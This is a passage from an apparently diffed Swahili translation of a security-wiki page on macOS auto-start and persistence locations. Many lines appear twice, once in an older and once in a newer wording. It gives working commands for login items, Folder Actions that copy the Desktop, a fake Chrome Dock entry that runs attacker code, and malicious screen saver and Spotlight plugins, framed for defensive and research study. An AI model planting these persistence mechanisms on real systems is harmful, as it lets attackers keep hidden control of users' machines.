[**Hammerspoon**](https://github.com/Hammerspoon/hammerspoon) inafanya kazi kama jukwaa la kiotomatiki kwa **macOS**, ikichanganya **lugha ya skripti ya LUA** kwa shughuli zake. Kwa kuzingatia, inasaidia uingizaji wa nambari kamili ya AppleScript na utekelezaji wa skripti za shell, ikiboresha uwezo wake wa skripti kwa kiasi kikubwa.
Programu hiyo inatafuta faili moja, `~/.hammerspoon/init.lua`, na wakati skripti inapoanza itatekelezwa.
```bash
@ -569,14 +576,14 @@ EOF
* `~/Library/Application Support/BetterTouchTool/*`
Chombo hiki huruhusu kuonyesha programu au hati za kutekelezwa wakati baadhi ya mkato unapigwa. Mshambuliaji anaweza kuweza kusanidi **mkato wake mwenyewe na hatua ya kutekelezwa katika database** ili kufanya kutekeleza nambari ya kupindukia (mkato unaweza kuwa tu kubonyeza kitufe).
Chombo hiki huruhusu kuonyesha programu au hati za kutekelezwa wakati baadhi ya mkato unapopigwa. Mshambuliaji anaweza kuweza kusanidi **mkato wake mwenyewe na hatua ya kutekelezwa katika database** ili kufanya kutekeleza nambari ya kupindukia (mkato unaweza kuwa tu kubonyeza kitufe).
### Alfred
* Inatumika kukiuka sanduku la mchanga: [](https://emojipedia.org/check-mark-button)
* Lakini Alfred lazima iwe imewekwa
* Kukiuka TCC: [](https://emojipedia.org/check-mark-button)
* Inahitaji ruhusa za Utoaji, Ufikiaji na hata Ufikiaji kamili wa Diski
* Inahitaji ruhusa za Utoaji wa Utoaji, Ufikiaji na hata Ufikiaji kamili wa Diski
#### Mahali
@ -589,7 +596,7 @@ Inaruhusu kuunda mifumo ya kazi ambayo inaweza kutekeleza nambari wakati hali fu
Andika: [https://theevilbit.github.io/beyond/beyond\_0006/](https://theevilbit.github.io/beyond/beyond\_0006/)
* Inatumika kukiuka sanduku la mchanga: [](https://emojipedia.org/check-mark-button)
* Lakini ssh inahitaji kuwezeshwa na kutumika
* Lakini ssh inahitaji kuwezeshwa na kutumiwa
* Kukiuka TCC: [](https://emojipedia.org/check-mark-button)
* SSH hutumia kupata Ufikiaji wa Diski kamili
@ -602,7 +609,7 @@ Andika: [https://theevilbit.github.io/beyond/beyond\_0006/](https://theevilbit.g
* **Kichocheo**: Ingia kupitia ssh
{% hint style="danger" %}
Kugeuza ssh kuwa inahitaji Ufikiaji wa Diski kamili:
Kugeuza ssh kuwasha kunahitaji Ufikiaji wa Diski Kamili:
```bash
sudo systemsetup -setremotelogin on
```
@ -624,7 +631,7 @@ Andika: [https://theevilbit.github.io/beyond/beyond\_0003/](https://theevilbit.g
* **`~/Library/Application Support/com.apple.backgroundtaskmanagementagent`**
* **Kichocheo:** Kuingia
* Utekaji wa mzigo uliohifadhiwa unaita **`osascript`**
* Utekaji wa mzigo uliowekwa unaita **`osascript`**
* **`/var/db/com.apple.xpc.launchd/loginitems.501.plist`**
* **Kichocheo:** Kuingia
* Inahitaji Mzizi
@ -643,21 +650,21 @@ osascript -e 'tell application "System Events" to make login item at end with pr
#Remove an item:
osascript -e 'tell application "System Events" to delete login item "itemname"'
```
Hizi vitu hifadhiwa kwenye faili **`~/Library/Application Support/com.apple.backgroundtaskmanagementagent`**
Vitu hivi hifadhiwa kwenye faili **`~/Library/Application Support/com.apple.backgroundtaskmanagementagent`**
**Vitu vya kuingia** vinaweza **pia** kuashiriwa kwa kutumia API [SMLoginItemSetEnabled](https://developer.apple.com/documentation/servicemanagement/1501557-smloginitemsetenabled?language=objc) ambayo itahifadhi mazingira katika **`/var/db/com.apple.xpc.launchd/loginitems.501.plist`**
**Vitu vya kuingia** vinaweza **pia** kuonyeshwa kwa kutumia API [SMLoginItemSetEnabled](https://developer.apple.com/documentation/servicemanagement/1501557-smloginitemsetenabled?language=objc) ambayo itahifadhi usanidi katika **`/var/db/com.apple.xpc.launchd/loginitems.501.plist`**
### ZIP kama Kipengee cha Kuingia
(Angalia sehemu iliyopita kuhusu Vitu vya Kuingia, hii ni nyongeza)
(Angalia sehemu iliyopita kuhusu Vitu vya Kuingia, hii ni mwendelezo)
Ikiwa unahifadhi faili ya **ZIP** kama **Kipengee cha Kuingia**, **`Archive Utility`** itaifungua na ikiwa zip ilihifadhiwa kwa mfano katika **`~/Library`** na ilikuwa na Folda **`LaunchAgents/file.plist`** yenye mlango wa nyuma, folda hiyo itaundwa (haipo kwa chaguo-msingi) na plist itaongezwa hivyo wakati mwingine mtumiaji anapoingia tena, **mlango wa nyuma ulioashiriwa kwenye plist utatekelezwa**.
Ikiwa unahifadhi faili ya **ZIP** kama **Kipengee cha Kuingia**, **`Archive Utility`** itaifungua na ikiwa zip ilihifadhiwa kwa mfano katika **`~/Library`** na ilikuwa na Folda **`LaunchAgents/file.plist`** yenye mlango wa nyuma, folda hiyo itaundwa (haipo kwa chaguo-msingi) na plist itaongezwa ili wakati mwingine mtumiaji aingie tena, **mlango wa nyuma ulioonyeshwa kwenye plist utatekelezwa**.
Chaguo lingine lingekuwa kuunda faili **`.bash_profile`** na **`.zshenv`** ndani ya nyumbani kwa mtumiaji hivyo ikiwa folda ya LaunchAgents tayari ipo hii mbinu bado itafanya kazi.
### At
Maelezo: [https://theevilbit.github.io/beyond/beyond\_0014/](https://theevilbit.github.io/beyond/beyond\_0014/)
Andika: [https://theevilbit.github.io/beyond/beyond\_0014/](https://theevilbit.github.io/beyond/beyond\_0014/)
* Inatumika kukiuka sanduku la mchanga: [](https://emojipedia.org/check-mark-button)
* Lakini unahitaji **kutekeleza** **`at`** na lazima iwe **imezimwa**
@ -669,9 +676,9 @@ Maelezo: [https://theevilbit.github.io/beyond/beyond\_0014/](https://theevilbit.
#### **Maelezo**
Kazi za `at` zinabuniwa kwa ajili ya **kupanga kazi za mara moja** kutekelezwa wakati fulani. Tofauti na kazi za cron, kazi za `at` zinaondolewa moja kwa moja baada ya kutekelezwa. Ni muhimu kutambua kwamba kazi hizi ni thabiti kupitia kuanza upya kwa mfumo, hivyo zinaweza kuwa na wasiwasi wa usalama chini ya hali fulani.
Kazi za `at` zinabuniwa kwa ajili ya **kupanga kazi za mara moja** zitekelezwe wakati fulani. Tofauti na kazi za cron, kazi za `at` zinaondolewa moja kwa moja baada ya utekelezaji. Ni muhimu kufahamu kwamba kazi hizi zinabaki hata baada ya kuanza upya kwa mfumo, hivyo zinaweza kuwa wasiwasi wa usalama chini ya hali fulani.
Kwa **chaguo-msingi** zimezimwa lakini mtumiaji wa **root** anaweza **kuwasha** **hizo** na:
Kwa **chaguo-msingi** zimezimwa lakini mtumiaji wa **root** anaweza **kuwawezesha** kwa:
```bash
sudo launchctl load -F /System/Library/LaunchDaemons/com.apple.atrun.plist
```
@ -733,19 +740,19 @@ Jina la faili lina orodha, nambari ya kazi, na wakati ambao imepangwa kufanya ka
* `a` - hii ni orodha
* `0001a` - nambari ya kazi katika hex, `0x1a = 26`
* `019bdcd2` - wakati katika hex. Inawakilisha dakika zilizopita tangu epoch. `0x019bdcd2` ni `26991826` katika decimal. Tukiizidisha na 60 tunapata `1619509560`, ambayo ni `GMT: 2021. Aprili 27., Jumanne 7:46:00`.
* `019bdcd2` - wakati katika hex. Inawakilisha dakika zilizopita tangu epoch. `0x019bdcd2` ni `26991826` katika decimal. Tukiizidisha kwa 60 tunapata `1619509560`, ambayo ni `GMT: 2021. Aprili 27., Jumanne 7:46:00`.
Ikiwa tunachapisha faili ya kazi, tunagundua ina taarifa ile ile tuliyopata kutumia `at -c`.
Ikiwa tunachapisha faili ya kazi, tunagundua ina taarifa ile ile tuliyopata kwa kutumia `at -c`.
### Matendo ya Folda
### Vitendo vya Folda
Maelezo: [https://theevilbit.github.io/beyond/beyond\_0024/](https://theevilbit.github.io/beyond/beyond\_0024/)\
Maelezo: [https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d](https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d)
* Inatumika kukiuka sanduku la mchanga: [](https://emojipedia.org/check-mark-button)
* Lakini unahitaji kuweza kuita `osascript` na hoja kuwasiliana na **`System Events`** ili uweze kusanidi Matendo ya Folda
* Lakini unahitaji kuweza kuita `osascript` na hoja ili kuwasiliana na **`System Events`** ili uweze kusanidi Vitendo vya Folda
* Kukiuka TCC: [🟠](https://emojipedia.org/large-orange-circle)
* Ina idhini za msingi za TCC kama Desktop, Documents na Downloads
* Ina ruhusa za TCC za msingi kama Desktop, Documents na Downloads
#### Mahali
@ -757,16 +764,16 @@ Maelezo: [https://posts.specterops.io/folder-actions-for-persistence-on-macos-89
#### Maelezo & Utekaji
Matendo ya Folda ni hati zinazotumiwa moja kwa moja na mabadiliko katika folda kama vile kuongeza, kuondoa vitu, au matendo mengine kama vile kufungua au kurekebisha dirisha la folda. Matendo haya yanaweza kutumika kwa kazi mbalimbali, na yanaweza kuchochewa kwa njia tofauti kama kutumia UI ya Finder au amri za terminali.
Vitendo vya Folda ni hati zinazotumiwa moja kwa moja na mabadiliko katika folda kama vile kuongeza, kuondoa vitu, au vitendo vingine kama vile kufungua au kurekebisha dirisha la folda. Vitendo hivi vinaweza kutumika kwa kazi mbalimbali, na vinaweza kuchochewa kwa njia tofauti kama kutumia UI ya Finder au amri za terminali.
Kuanzisha Matendo ya Folda, una chaguo kama:
Kuanzisha Vitendo vya Folda, una chaguo kama:
1. Kuunda mchakato wa Matendo ya Folda na [Automator](https://support.apple.com/guide/automator/welcome/mac) na kuiweka kama huduma.
2. Kuambatanisha hati kwa mkono kupitia Usanidi wa Matendo ya Folda katika menyu ya muktadha wa folda.
3. Kutumia OSAScript kutuma ujumbe wa Tukio la Apple kwa `System Events.app` kwa kusanidi Matendo ya Folda kwa njia ya programu.
* Mbinu hii ni muhimu hasa kwa kuingiza hatua katika mfumo, kutoa kiwango cha uthabiti.
1. Kuunda mchakato wa Vitendo vya Folda na [Automator](https://support.apple.com/guide/automator/welcome/mac) na kuiweka kama huduma.
2. Kuambatanisha hati kwa mkono kupitia Usanidi wa Vitendo vya Folda katika menyu ya muktadha ya folda.
3. Kutumia OSAScript kutuma ujumbe wa Tukio la Apple kwa `System Events.app` kwa kusanidi Vitendo vya Folda kwa njia ya programu.
* Mbinu hii ni muhimu hasa kwa kuingiza kitendo katika mfumo, kutoa kiwango cha uthabiti.
Hati ifuatayo ni mfano wa kile kinaweza kutekelezwa na Matendo ya Folda:
Hati ifuatayo ni mfano wa kile kinaweza kutekelezwa na Vitendo vya Folda:
```applescript
// source.js
var app = Application.currentApplication();
@ -780,7 +787,7 @@ Ili kufanya script hapo juu iweze kutumika na Matendo ya Folda, itaandika kwa ku
```bash
osacompile -l JavaScript -o folder.scpt source.js
```
Baada ya script kuhaririwa, weka Folder Actions kwa kutekeleza script hii. Script hii itawezesha Folder Actions kwa ujumla na kuambatanisha script iliyohaririwa awali kwenye folda ya Desktop.
Baada ya script kuandaliwa, weka Mienendo ya Folda kwa kutekeleza script hapa chini. Script hii itawezesha Mienendo ya Folda kwa ujumla na kuambatanisha script iliyokwisha kuandaliwa hapo awali kwenye folda ya Desktop.
```javascript
// Enabling and attaching Folder Action
var se = Application("System Events");
@ -790,7 +797,7 @@ var fa = se.FolderAction({name: "Desktop", path: "/Users/username/Desktop"});
se.folderActions.push(fa);
fa.scripts.push(myScript);
```
Chukua script ya usanidi kwa:
Chalaza skripti ya usanidi kwa:
```bash
osascript -l JavaScript /Users/username/attach.scpt
```
@ -809,7 +816,7 @@ app.doShellScript("cp -R ~/Desktop /tmp/asd123");
```
{% endcode %}
Sakinisha kwa: `osacompile -l JavaScript -o folder.scpt source.js`
Kukusanya na: `osacompile -l JavaScript -o folder.scpt source.js`
Hamisha kwa:
```bash
@ -822,13 +829,13 @@ Kisha, fungua programu ya `Folder Actions Setup`, chagua **folda unayotaka kufua
Sasa, ukifungua folda hiyo na **Finder**, script yako itatekelezwa.
Mipangilio hii ilihifadhiwa katika **plist** iliyoko katika **`~/Library/Preferences/com.apple.FolderActionsDispatcher.plist`** kwa muundo wa base64.
Mipangilio hii ilihifadhiwa katika **plist** iliyoko katika **`~/Library/Preferences/com.apple.FolderActionsDispatcher.plist`** katika muundo wa base64.
Sasa, jaribu kuandaa uthabiti huu bila ufikiaji wa GUI:
1. **Nakili `~/Library/Preferences/com.apple.FolderActionsDispatcher.plist`** kwenda `/tmp` kwa kuihifadhi:
* `cp ~/Library/Preferences/com.apple.FolderActionsDispatcher.plist /tmp`
2. **Ondoa** Matendo ya Folda uliyojiwekea tu:
2. **Ondoa** Folder Actions ulizoweka tu:
<figure><img src="../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
@ -841,9 +848,9 @@ Sasa tukiwa na mazingira tupu
Na hii haikufanya kazi kwangu, lakini hizi ni maagizo kutoka kwa andiko hilo:(
{% endhint %}
### Vielekezo vya Dock
### Viungo vya Dock
Andiko: [https://theevilbit.github.io/beyond/beyond\_0027/](https://theevilbit.github.io/beyond/beyond\_0027/)
Andika: [https://theevilbit.github.io/beyond/beyond\_0027/](https://theevilbit.github.io/beyond/beyond\_0027/)
* Inatumika kukiuka sanduku la mchanga: [](https://emojipedia.org/check-mark-button)
* Lakini unahitaji kuwa umeweka programu mbaya ndani ya mfumo
@ -870,7 +877,7 @@ killall Dock
```
{% endcode %}
Kwa kutumia **uhandisi wa kijamii** unaweza **kujifanya kuwa mfano wa Google Chrome** ndani ya dock na kisha kutekeleza script yako mwenyewe:
Kwa kutumia **uchoraji wa kijamii** unaweza **kujifanya kuwa mfano wa Google Chrome** ndani ya dock na kisha kutekeleza script yako mwenyewe:
```bash
#!/bin/sh
@ -923,7 +930,7 @@ cp /Applications/Google\ Chrome.app/Contents/Resources/app.icns /tmp/Google\ Chr
defaults write com.apple.dock persistent-apps -array-add '<dict><key>tile-data</key><dict><key>file-data</key><dict><key>_CFURLString</key><string>/tmp/Google Chrome.app</string><key>_CFURLStringType</key><integer>0</integer></dict></dict></dict>'
killall Dock
```
### Wachukuzi wa Rangi
### Wachanguzi wa Rangi
Maelezo: [https://theevilbit.github.io/beyond/beyond\_0017](https://theevilbit.github.io/beyond/beyond\_0017/)
@ -936,17 +943,17 @@ Maelezo: [https://theevilbit.github.io/beyond/beyond\_0017](https://theevilbit.g
* `/Library/ColorPickers`
* Inahitaji ruhusa ya msingi
* Kichocheo: Tumia wachukuzi wa rangi
* Kichocheo: Tumia wachanguzi wa rangi
* `~/Library/ColorPickers`
* Kichocheo: Tumia wachukuzi wa rangi
* Kichocheo: Tumia wachanguzi wa rangi
#### Maelezo & Utekaji
**Kusanya kifurushi cha wachukuzi wa rangi** na nambari yako (unaweza kutumia [**huyu kwa mfano**](https://github.com/viktorstrate/color-picker-plus)) na ongeza konstrukta (kama katika [sehemu ya Skrini ya Kuficha](macos-auto-start-locations.md#screen-saver)) na nakili kifurushi kwa `~/Library/ColorPickers`.
**Kusanya kifurushi cha wachanguzi wa rangi** na nambari yako (unaweza kutumia [**huyu kwa mfano**](https://github.com/viktorstrate/color-picker-plus)) na ongeza konstrukta (kama katika [sehemu ya Skrini ya Kuficha](macos-auto-start-locations.md#screen-saver)) na nakili kifurushi kwa `~/Library/ColorPickers`.
Kisha, wakati wachukuzi wa rangi unapochochewa, programu yako inapaswa kufanya vivyo hivyo.
Kisha, wakati wachanguzi wa rangi unapochochewa, programu yako inapaswa kufanya vivyo hivyo.
Tafadhali kumbuka kuwa binary inayopakia maktaba yako ina **sanduku la mchanga lenye kizuizi sana**: `/System/Library/Frameworks/AppKit.framework/Versions/C/XPCServices/LegacyExternalColorPickerService-x86_64.xpc/Contents/MacOS/LegacyExternalColorPickerService-x86_64`
Tafadhali kumbuka kuwa binary inayopakia maktaba yako ina **mchanga wa kizuizi sana**: `/System/Library/Frameworks/AppKit.framework/Versions/C/XPCServices/LegacyExternalColorPickerService-x86_64.xpc/Contents/MacOS/LegacyExternalColorPickerService-x86_64`
{% code overflow="wrap" %}
```bash
@ -959,23 +966,23 @@ Tafadhali kumbuka kuwa binary inayopakia maktaba yako ina **sanduku la mchanga l
```
{% endcode %}
### Vifaa vya Kupambana na Finder Sync
### Vifaa vya Ufungaji wa Finder
**Maelezo**: [https://theevilbit.github.io/beyond/beyond\_0026/](https://theevilbit.github.io/beyond/beyond\_0026/)\
**Maelezo**: [https://objective-see.org/blog/blog\_0x11.html](https://objective-see.org/blog/blog\_0x11.html)
* Inatumika kukiuka sandbox: **Hapana, kwa sababu unahitaji kutekeleza programu yako mwenyewe**
* Inatumika kukiuka sanduku la mchanga: **Hapana, kwa sababu unahitaji kutekeleza programu yako mwenyewe**
* Kukiuka TCC: ???
#### Mahali
* Programu maalum
#### Maelezo & Utekaji
#### Maelezo & Kudukua
Mfano wa programu na Kifaa cha Kupambana na Finder Sync [**unaweza kupatikana hapa**](https://github.com/D00MFist/InSync).
Mfano wa programu na Kifaa cha Ufungaji wa Finder [**unaweza kupatikana hapa**](https://github.com/D00MFist/InSync).
Programu zinaweza kuwa na `Vifaa vya Kupambana na Finder Sync`. Kifaa hiki kitawekwa ndani ya programu itakayotekelezwa. Zaidi ya hayo, ili kifaa hicho kiweze kutekeleza nambari yake lazima iwe **imesainiwa** na cheti halali cha msanidi programu wa Apple, lazima iwe **imesandukwa** (ingawa kuna maelewano yaliyorekebishwa yanaweza kuongezwa) na lazima iwe imeandikishwa na kitu kama:
Programu zinaweza kuwa na `Vifaa vya Ufungaji wa Finder`. Kifaa hiki kitawekwa ndani ya programu ambayo itatekelezwa. Zaidi ya hayo, ili kifaa hicho kiweze kutekeleza nambari yake lazima **iwe imesainiwa** na cheti halali cha msanidi programu wa Apple, lazima iwe **imesandukwa** (ingawa kuna ruhusa zilizopunguzwa zinaweza kuongezwa) na lazima iwe imeandikishwa na kitu kama:
```bash
pluginkit -a /Applications/FindIt.app/Contents/PlugIns/FindItSync.appex
pluginkit -e use -i com.example.InSync.InSync
@ -993,20 +1000,20 @@ Maelezo: [https://posts.specterops.io/saving-your-access-d562bf5bf90b](https://p
* `/System/Library/Screen Savers`
* Inahitaji mizizi
* **Kichocheo**: Chagua skrini ya kupumzika
* **Kichocheo**: Chagua skrini ya kuokoa
* `/Library/Screen Savers`
* Inahitaji mizizi
* **Kichocheo**: Chagua skrini ya kupumzika
* **Kichocheo**: Chagua skrini ya kuokoa
* `~/Library/Screen Savers`
* **Kichocheo**: Chagua skrini ya kupumzika
* **Kichocheo**: Chagua skrini ya kuokoa
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="375"><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="375"><figcaption></figcaption></figure>
#### Maelezo & Kudukua
Unda mradi mpya katika Xcode na chagua kiolesura cha kuzalisha **Screen Saver** mpya. Kisha, weka kanuni yako, kwa mfano kanuni ifuatayo kuzalisha magogo.
Unda mradi mpya katika Xcode na chagua kiolezo cha kuzalisha **Screen Saver** mpya. Kisha, weka kanuni yako, kwa mfano kanuni ifuatayo ya kuzalisha magogo.
**Jenga** hiyo, na nakili pakiti ya `.saver` kwa **`~/Library/Screen Savers`**. Kisha, fungua GUI ya Skrini ya Kupumzika na ikiwa tu unapobonyeza, inapaswa kuzalisha magogo mengi:
**Jenga** hiyo, na nakili pakiti ya `.saver` kwa **`~/Library/Screen Savers`**. Kisha, fungua GUI ya Skrini ya Kuokoa na ikiwa tu unabonyeza juu yake, inapaswa kuzalisha magogo mengi:
{% code overflow="wrap" %}
```bash
@ -1020,10 +1027,10 @@ Timestamp (process)[PID]
{% endcode %}
{% hint style="danger" %}
Tafadhali fahamu kwamba kwa sababu ndani ya ruhusa za binary inayoleta hii kanuni (`/System/Library/Frameworks/ScreenSaver.framework/PlugIns/legacyScreenSaver.appex/Contents/MacOS/legacyScreenSaver`) unaweza kupata **`com.apple.security.app-sandbox`** utakuwa **ndani ya sanduku la kawaida la programu**.
Tafadhali kumbuka kwamba kwa sababu ndani ya ruhusa za binary inayoleta nambari hii (`/System/Library/Frameworks/ScreenSaver.framework/PlugIns/legacyScreenSaver.appex/Contents/MacOS/legacyScreenSaver`) unaweza kupata **`com.apple.security.app-sandbox`** utakuwa **ndani ya sanduku la maombi la kawaida**.
{% endhint %}
Msimamizi wa Saver:
Nambari ya Saver:
```objectivec
//
// ScreenSaverExampleView.m
@ -1091,12 +1098,12 @@ NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
```
### Vifaa vya Spotlight
mchanganuo: [https://theevilbit.github.io/beyond/beyond\_0011/](https://theevilbit.github.io/beyond/beyond\_0011/)
mchoro: [https://theevilbit.github.io/beyond/beyond\_0011/](https://theevilbit.github.io/beyond/beyond\_0011/)
* Inatumika kukiuka sanduku la mchanga: [🟠](https://emojipedia.org/large-orange-circle)
* Lakini utamaliza katika sanduku la programu
* Kukiuka TCC: [🔴](https://emojipedia.org/large-red-circle)
* Sanduku la mchanga linaonekana kuwa na kikomo kikubwa
* Sanduku la mchanga linaonekana kuwa na kikomo sana
#### Mahali
@ -1104,20 +1111,20 @@ mchanganuo: [https://theevilbit.github.io/beyond/beyond\_0011/](https://theevilb
* **Kichocheo**: Faili mpya yenye kielezo kinachosimamiwa na kifaa cha Spotlight inaundwa.
* `/Library/Spotlight/`
* **Kichocheo**: Faili mpya yenye kielezo kinachosimamiwa na kifaa cha Spotlight inaundwa.
* Inahitajika kuwa na ruhusa ya msingi
* Inahitaji mizizi
* `/System/Library/Spotlight/`
* **Kichocheo**: Faili mpya yenye kielezo kinachosimamiwa na kifaa cha Spotlight inaundwa.
* Inahitajika kuwa na ruhusa ya msingi
* Inahitaji mizizi
* `Some.app/Contents/Library/Spotlight/`
* **Kichocheo**: Faili mpya yenye kielezo kinachosimamiwa na kifaa cha Spotlight inaundwa.
* Programu mpya inahitajika
#### Maelezo na Utekaji
#### Maelezo & Utekaji
Spotlight ni kipengele cha utaftaji kilichojengwa ndani ya macOS, kimeundwa kutoa watumiaji na **upatikanaji wa haraka na wa kina wa data kwenye kompyuta zao**.\
Ili kurahisisha uwezo huu wa utaftaji wa haraka, Spotlight inaendeleza **hifadhidata ya kipekee** na kuunda indeksi kwa **kuchambua faili nyingi**, kuruhusu utaftaji wa haraka kupitia majina ya faili na maudhui yao.
Mfumo wa msingi wa Spotlight unajumuisha mchakato wa kati unaoitwa 'mds', ambao unamaanisha **'metadata server'**. Mchakato huu unaratibu huduma nzima ya Spotlight. Kando na hilo, kuna 'mdworker' daemons kadhaa ambao hutekeleza majukumu mbalimbali ya matengenezo, kama vile kuunda indeksi za aina tofauti za faili (`ps -ef | grep mdworker`). Majukumu haya yanawezekana kupitia vifaa vya kuingiza vya Spotlight, au **"mabandiko ya .mdimporter"**, ambayo huwezesha Spotlight kuelewa na kuunda indeksi ya maudhui katika aina mbalimbali za faili.
Mfumo wa msingi wa Spotlight unajumuisha mchakato wa kati unaoitwa 'mds', ambao unamaanisha **'metadata server'**. Mchakato huu unaratibu huduma nzima ya Spotlight. Kando na hilo, kuna 'mdworker' daemons kadhaa ambao hutekeleza majukumu mbalimbali ya matengenezo, kama vile kuunda indeksi za aina tofauti za faili (`ps -ef | grep mdworker`). Majukumu haya yanawezekana kupitia vifaa vya kuingiza vya Spotlight, au **"mabandiko ya .mdimporter"**, ambayo huwezesha Spotlight kuelewa na kuunda indeksi ya maudhui katika anuwai ya muundo wa faili.
Vifaa au **mabandiko ya .mdimporter** yako katika maeneo yaliyotajwa hapo awali na ikiwa mabandiko mapya yanaonekana yanapakiwa ndani ya dakika (hakuna haja ya kuanzisha upya huduma yoyote). Mabandiko haya lazima yaeleze ni **aina gani ya faili na viendelezi wanavyoweza kusimamia**, kwa njia hii, Spotlight itavitumia wakati faili mpya yenye kielezo kilichotajwa inapoundwa.
@ -1130,7 +1137,7 @@ Paths: id(501) (
"/System/Library/Spotlight/PDF.mdimporter",
[...]
```
Na kwa mfano **/Library/Spotlight/iBooksAuthor.mdimporter** hutumiwa kuchambua aina hizi za faili (nyongeza `.iba` na `.book` miongoni mwa zingine):
Na kwa mfano **/Library/Spotlight/iBooksAuthor.mdimporter** hutumika kuchambua aina hizi za faili (nyongeza `.iba` na `.book` miongoni mwa zingine):
```json
plutil -p /Library/Spotlight/iBooksAuthor.mdimporter/Contents/Info.plist
@ -1169,18 +1176,17 @@ plutil -p /Library/Spotlight/iBooksAuthor.mdimporter/Contents/Info.plist
{% hint style="danger" %}
Ikiwa utachunguza Plist ya `mdimporter` nyingine, huenda usipate kuingia **`UTTypeConformsTo`**. Hii ni kwa sababu ni _Uniform Type Identifiers_ ([UTI](https://en.wikipedia.org/wiki/Uniform\_Type\_Identifier)) iliyojengwa ndani na haitaji kutaja nyongeza.
Zaidi ya hayo, programu-jalizi za mfumo wa msingi daima zinapewa kipaumbele, hivyo mshambuliaji anaweza kupata ufikivu kwenye faili ambazo kwa kawaida hazijaindeksiwa na `mdimporters` za Apple.
Zaidi ya hayo, programu-jalizi za mfumo wa msingi daima zinapewa kipaumbele, hivyo mshambuliaji anaweza kupata ufikivu kwenye faili ambazo vinginevyo hazijachambuliwa na `mdimporters` za Apple.
{% endhint %}
Ili kuunda programu-jalizi yako mwenyewe unaweza kuanza na mradi huu: [https://github.com/megrimm/pd-spotlight-importer](https://github.com/megrimm/pd-spotlight-importer) kisha badilisha jina, **`CFBundleDocumentTypes`** na ongeza **`UTImportedTypeDeclarations`** ili iweze kusaidia nyongeza unayotaka kusaidia na uirejeshe kwenye **`schema.xml`**.\
Kisha **badilisha** msimbo wa kazi **`GetMetadataForFile`** ili kutekeleza mzigo wako wakati faili yenye nyongeza iliyosindika inapotengenezwa.
Ili kuunda chombo chako cha kuingiza unaweza kuanza na mradi huu: [https://github.com/megrimm/pd-spotlight-importer](https://github.com/megrimm/pd-spotlight-importer) kisha badilisha jina, **`CFBundleDocumentTypes`** na ongeza **`UTImportedTypeDeclarations`** ili iweze kusaidia nyongeza unayotaka kusaidia na uirekebishe kwenye **`schema.xml`**. Kisha **badilisha** nambari ya kazi **`GetMetadataForFile`** ili kutekeleza mzigo wako wakati faili yenye nyongeza iliyosindika inapotengenezwa.
Hatimaye **jenga na nakili programu-jalizi yako mpya ya `.mdimporter`** kwenye moja ya maeneo yaliyotajwa hapo awali na unaweza kuangalia wakati wowote inapopakiwa **kwa kufuatilia magogo** au kwa kuangalia **`mdimport -L.`**
Hatimaye **jenga na nakili kuingiza yako mpya ya `.mdimporter`** kwa moja ya maeneo yaliyotajwa hapo awali na unaweza kuangalia wakati wowote inapopakiwa **kwa kufuatilia magogo** au kwa kuangalia **`mdimport -L.`**
### ~~Pane ya Mapendeleo~~
{% hint style="danger" %}
Inaonekana kama hii haifanyi kazi tena.
Haionekani kama hii inafanya kazi tena.
{% endhint %}
Maelezo: [https://theevilbit.github.io/beyond/beyond\_0009/](https://theevilbit.github.io/beyond/beyond\_0009/)
@ -1197,12 +1203,12 @@ Maelezo: [https://theevilbit.github.io/beyond/beyond\_0009/](https://theevilbit.
#### Maelezo
Inaonekana kama hii haifanyi kazi tena.
Haionekani kama hii inafanya kazi tena.
## Kizuizi cha Mchanga cha Mzizi
{% hint style="success" %}
Hapa unaweza kupata maeneo ya kuanzia yanayofaa kwa **kuzidi kizuizi cha sanduku** ambacho kinakuruhusu tu kutekeleza kitu kwa **kuandika kwenye faili** ukiwa **mzizi** na/au kuhitaji **hali nyingine za ajabu.**
Hapa unaweza kupata maeneo ya kuanzia yanayofaa kwa **kuzidi kizuizi cha sanduku** ambayo inakuruhusu tu kutekeleza kitu kwa **kuandika kwenye faili** ukiwa **mzizi** na/au kuhitaji **hali nyingine za ajabu.**
{% endhint %}
### Kipindi
@ -1224,7 +1230,7 @@ Maelezo: [https://theevilbit.github.io/beyond/beyond\_0019/](https://theevilbit.
#### Maelezo & Utekaji
Skripti za kipindi (**`/etc/periodic`**) zinatekelezwa kwa sababu ya **daemons za kuanzisha** zilizowekwa katika `/System/Library/LaunchDaemons/com.apple.periodic*`. Tafadhali kumbuka kuwa skripti zilizohifadhiwa katika `/etc/periodic/` zinatekelezwa kama **mmiliki wa faili,** hivyo haitafanya kazi kwa kuzidi kwa haki za uwezekano.
Skripti za kipindi (**`/etc/periodic`**) zinatekelezwa kwa sababu ya **daemons za uzinduzi** zilizowekwa katika `/System/Library/LaunchDaemons/com.apple.periodic*`. Tafadhali kumbuka kuwa skripti zilizohifadhiwa katika `/etc/periodic/` zinatekelezwa kama **mmiliki wa faili,** hivyo haitafanya kazi kwa kuzidi kwa haki za upeo wa potenshali.
```bash
# Launch daemons that will execute the periodic scripts
ls -l /System/Library/LaunchDaemons/com.apple.periodic*
@ -1255,7 +1261,7 @@ total 24
total 8
-rwxr-xr-x 1 root wheel 620 May 13 00:29 999.local
```
Kuna hati zingine za kipindi ambazo zitatekelezwa zilizoonyeshwa katika **`/etc/defaults/periodic.conf`**:
Kuna skripti nyingine za kipindi ambazo zitatekelezwa zilizoonyeshwa katika **`/etc/defaults/periodic.conf`**:
```bash
grep "Local scripts" /etc/defaults/periodic.conf
daily_local="/etc/daily.local" # Local scripts
@ -1273,23 +1279,23 @@ Tafadhali kumbuka kwamba script ya kipindi itatekelezwa kama **mmiliki wa script
Maelezo: [Linux Hacktricks PAM](../linux-hardening/linux-post-exploitation/pam-pluggable-authentication-modules.md)\
Maelezo: [https://theevilbit.github.io/beyond/beyond\_0005/](https://theevilbit.github.io/beyond/beyond\_0005/)
* Inatumika kwa kudukua sanduku la mchanga: [🟠](https://emojipedia.org/large-orange-circle)
* Lakini unahitaji kuwa na ruhusa ya mizizi (root)
* Kizuizi cha TCC: [🔴](https://emojipedia.org/large-red-circle)
* Inatumika kukiuka sanduku la mchanga: [🟠](https://emojipedia.org/large-orange-circle)
